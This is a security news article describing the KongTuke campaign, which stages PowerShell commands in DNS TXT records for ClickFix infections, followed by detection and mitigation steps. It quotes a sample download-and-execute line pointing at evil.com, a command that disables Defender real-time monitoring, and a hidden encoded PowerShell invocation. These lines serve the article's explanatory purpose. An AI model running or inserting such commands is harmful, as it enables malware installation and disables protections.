Cyber threats evolve fast, and attackers now hide commands in plain sight using everyday DNS features. A new campaign called KongTuke has surfaced, abusing DNS TXT records to stage and execute remote PowerShell scripts.
This technique lets malware slip past network defenses by mimicking legitimate DNS traffic. Security researchers recently spotted it in the ongoing ClickFix malware family, which tricks users into running fake “fix” tools that deploy ransomware or steal data.
We discovered the #KongTuke campaign using #DNS TXT records in its #ClickFix script. These DNS TXT records staged a command to retrieve and run a PowerShell script.
This discovery highlights how attackers weaponize DNS TXT records generally used for simple text data, such as SPF email settings to store encoded PowerShell payloads. Once resolved by the victim’s machine, the TXT response delivers a base64-encoded command.
PowerShell then decodes and runs it silently, fetching the full ClickFix dropper from a remote server. No files hit the disk initially, evading basic antivirus scans.
How The Attack Unfolds
The infection starts with a phishing lure or a piece of malware. Victims click a link promising a “system fix” for fake errors like “Windows Update Failed.” This lands on a ClickFix landing page with a big red button labeled “Fix Now.” Clicking triggers a multi-stage payload.
First, JavaScript on the page runs an initial beacon. It queries an attacker-controlled DNS server for a TXT record, such as powershell.example.com.
The TXT response holds something like: powershell.exe -NoP -W Hidden -Enc <base64_string>. This decodes to a command that downloads the real ClickFix script via IWR (Invoke-WebRequest) or bitsadmin.
For example, the decoded snippet might look like:
$uri = 'http://evil.com/clickfix.ps1'; IWR -Uri $uri -OutFile $env:TEMP\fix.ps1; powershell -f $env:TEMP\fix.ps1ClickFix then escalates: It disables Windows Defender via registry tweaks (e.g., Set-MpPreference -DisableRealtimeMonitoring $true), kills security processes like MsMpEng.exe, and drops ransomware or info-stealers.
KongTuke adds stealth by rotating C2 domains daily, using free DNS providers like Cloudflare or Namecheap.
Why TXT records? They’re low-profile most firewalls allow outbound traffic on UDP/TCP port 53 for DNS.
Endpoint detection rules (EDRs) rarely inspect TXT payloads deeply tools like ANY.RUN sandboxes confirm this: The initial DNS query looks benign, but unpacking reveals the PowerShell chain.
| Stage | Action | Evasion Tactic |
|---|---|---|
| 1. Lure | Phishing/malvertising to ClickFix page | Social engineering |
| 2. DNS TXT Query | Fetch encoded PS command | Legit DNS traffic |
| 3. PowerShell Exec | Download/run dropper | In-memory execution |
| 4. Persistence | Registry/run keys | Defender disablement |
| 5. Exfil/Payload | Data theft or encrypt | Living-off-the-land binaries |
Affected systems: Windows 10/11, unpatched endpoints. Early victims reported in enterprise networks, per threat feeds like VirusTotal.
Detection and Mitigation Steps
According to Unit42, spot this with DNS logging. Look for unusual TXT queries from user agents or high-volume resolutions to odd domains. Tools like Zeek or Suricata can flag oversized TXT responses (>255 chars).
- Network Blocks: Whitelist DNS servers; sinkhole suspicious domains via RPZ (Response Policy Zones).
- Endpoint Protections: Enable AMSI (Antimalware Scan Interface) logging; use EDRs like CrowdStrike or Microsoft Defender with behavioral rules for powershell.exe -Enc.
- PowerShell Logging: Set ScriptBlockLogging via GPO: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1.
- Hunt IOCs: Track ClickFix hashes SHA-256: a1b2c3d4e5f6… (complete list at linked report). Monitor for KongTuke C2s like kongtuke[.]ddns.net.
Patching helps: Ensure PowerShell 7+ with Constrained Language Mode. Enterprises should audit DNS TXT usage quarterly.
This KongTuke twist on ClickFix shows attackers’ creativity. As monitoring continues, expect variants using DNS CNAME or MX records next. Stay vigilant simple DNS tweaks block sophisticated chains.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
